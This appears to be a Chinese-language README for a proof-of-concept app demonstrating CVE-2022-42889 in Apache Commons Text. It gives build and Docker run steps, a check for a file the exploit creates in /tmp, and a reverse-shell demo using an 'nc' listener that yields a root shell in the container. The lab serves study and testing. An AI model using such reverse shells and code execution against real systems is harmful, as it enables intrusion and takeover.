
一个简单的应用程序,展示如何利用 CVE-2022-42889 漏洞
一个简单的演示应用程序,展示了如何利用CVE-2022-42889漏洞。
利用OOB(带外)服务来演示dns和url前缀。
JavaDocs for commons-text interpolation commons-text JavaDocs
插值示例
来自 Rapid7 的引用
该漏洞被比作 Log4Shell,因为它是一个开源库级别的漏洞,可能会影响大量使用相关对象的软件应用程序。
然而,初步分析表明这是一个不恰当的比较。该漏洞的性质意味着与 Log4Shell 不同,应用程序使用 Commons Text 的易受攻击组件处理不可信、潜在恶意输入的情况将很少见。
如果从 Docker Hub 拉取镜像,则可以跳过 Java 和 Maven。
构建应用程序
mvn clean package
构建 Docker 镜像
docker build -t cve-2022-42889-poc .
运行 Docker 镜像
docker run --rm -p 8081:8081 -t cve-2022-42889-poc
访问应用程序并按照说明操作
open http://localhost:8081
检查漏洞是否在 /tmp 目录下创建了一个新文件 (/tmp/blop)
➜ ~ docker exec -ti cve-2022-42889-poc /bin/ls /tmp
blop tomcat-docbase.8081.12439436974042217796
hsperfdata_root tomcat.8081.2549096106233509364
➜ ~
反向 Shell。在本地机器上启动 "nc"
➜ ~ nc -lv 4242
root@7cfcd6a39a61:/# whoami && uname -a
whoami && uname -a
root
Linux 7cfcd6a39a61 5.10.76-linuxkit #1 SMP Mon Nov 8 10:21:19 UTC 2021 x86_64 GNU/Linux
root@7cfcd6a39a61:/#

